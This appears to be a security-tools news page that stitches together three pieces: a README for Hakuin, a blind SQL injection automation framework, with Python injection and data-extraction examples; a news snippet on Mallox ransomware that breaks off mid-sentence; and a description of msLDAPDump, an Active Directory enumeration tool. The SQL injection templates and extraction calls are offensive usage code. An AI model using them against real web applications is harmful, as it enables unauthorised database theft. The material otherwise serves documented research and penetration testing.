Hakuin - A Blazing Fast Blind SQL Injection Optimization And Automation Framework

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.

Installation

To install Hakuin, simply run:

pip3 install hakuin

Developers should install the package locally and set the -e flag for editable mode:

git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .

Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.

Example 1 - Query Parameter Injection with Status-based Inference

import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
    async def request(self, ctx, query):
        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
        return r.status == 200

Example 2 - Header Injection with Content-based Inference

class ContentRequester(Requester):
    async def request(self, ctx, query):
        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
        r = await aiohttp.get(f'http://vuln.com/', headers=headers)
        return 'found' in await r.text()

To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.

Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL

import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
    ...

async def main():
    # requester:    Use this Requester
    # dbms:         Use this DBMS
    # n_tasks:      Spawns N tasks that extract column rows in parallel 
    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
    ...

if __name__ == '__main__':
    asyncio.get_event_loop().run_until_complete(main())

Now that eveything is set, you can start extracting DB metadata.

Example 1 - Extracting DB Schemas

# strategy:
#   'binary':   Use binary search
#   'model':    Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')

Example 2 - Extracting Tables

tables = await ext.extract_table_names(strategy='model')

Example 3 - Extracting Columns

columns = await ext.extract_column_names(table='users', strategy='model')

Example 4 - Extracting Tables and Columns Together

metadata = await ext.extract_meta(strategy='model')

Once you know the structure, you can extract the actual content.

Example 1 - Extracting Generic Columns

# text_strategy:    Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')

Example 2 - Extracting Textual Columns

# strategy:
#   'binary':       Use binary search
#   'fivegram':     Use five-gram model
#   'unigram':      Use unigram model
#   'dynamic':      Dynamically identify the best strategy. This setting
#                   also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')

Example 3 - Extracting Integer Columns

res = await ext.extract_column_int(table='users', column='id')

Example 4 - Extracting Float Columns

res = await ext.extract_column_float(table='products', column='price')

Example 5 - Extracting Blob (Binary Data) Columns

res = await ext.extract_column_blob(table='users', column='id')

More examples can be found in the tests directory.

Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:

python3 hk.py -h

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}

Mallox Ransomware Exploits Weak MS-SQL Servers to Breach Networks

Mallox ransomware activities in 2023 have witnessed a 174% increase when compared to the previous year, new findings from Palo Alto Networks Unit 42 reveal. "Mallox ransomware, like many other ransomware threat actors, follows the double extortion trend: stealing data before encrypting an organization's files, and then threatening to publish the stolen data on a leak site as leverage to convince

msLDAPDump - LDAP Enumeration Tool

msLDAPDump simplifies LDAP enumeration in a domain environment by wrapping the lpap3 library from Python in an easy-to-use interface. Like most of my tools, this one works best on Windows. If using Unix, the tool will not resolve hostnames that are not accessible via eth0 currently.

Binding Anonymously

Users can bind to LDAP anonymously through the tool and dump basic information about LDAP, including domain naming context, domain controller hostnames, and more.

Credentialed Bind

Users can bind to LDAP utilizing valid user account credentials or a valid NTLM hash. Using credentials will obtain the same information as the anonymously binded request, as well as checking for the following:

• Subnet scan for systems with ports 389 and 636 open
• Basic Domain Info (Current user permissions, domain SID, password policy, machine account quota)
• Users
• Groups
• Kerberoastable Accounts
• ASREPRoastable Accounts
• Constrained Delegation
• Unconstrained Delegation
• Computer Accounts - will also attempt DNS lookups on the hostname to identify IP addresses
• Identify Domain Controllers
• Identify Servers
• Identify Deprecated Operating Systems
• Identify MSSQL Servers
• Identify Exchange Servers
• Group Policy Objects (GPO)
• Passwords in User description fields

Each check outputs the raw contents to a text file, and an abbreviated, cleaner version of the results in the terminal environment. The results in the terminal are pulled from the individual text files.

• Add support for LDAPS (LDAP Secure)
• NTLM Authentication
• Figure out why Unix only allows one adapter to make a call out to the LDAP server (removed resolution from Linux until resolved)
• Add support for querying child domain information (currently does not respond nicely to querying child domain controllers)
• Figure out how to link the name to the Description field dump at the end of the script
• mplement command line options rather than inputs
• Check for deprecated operating systems in the domain

Mandatory Disclaimer

Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.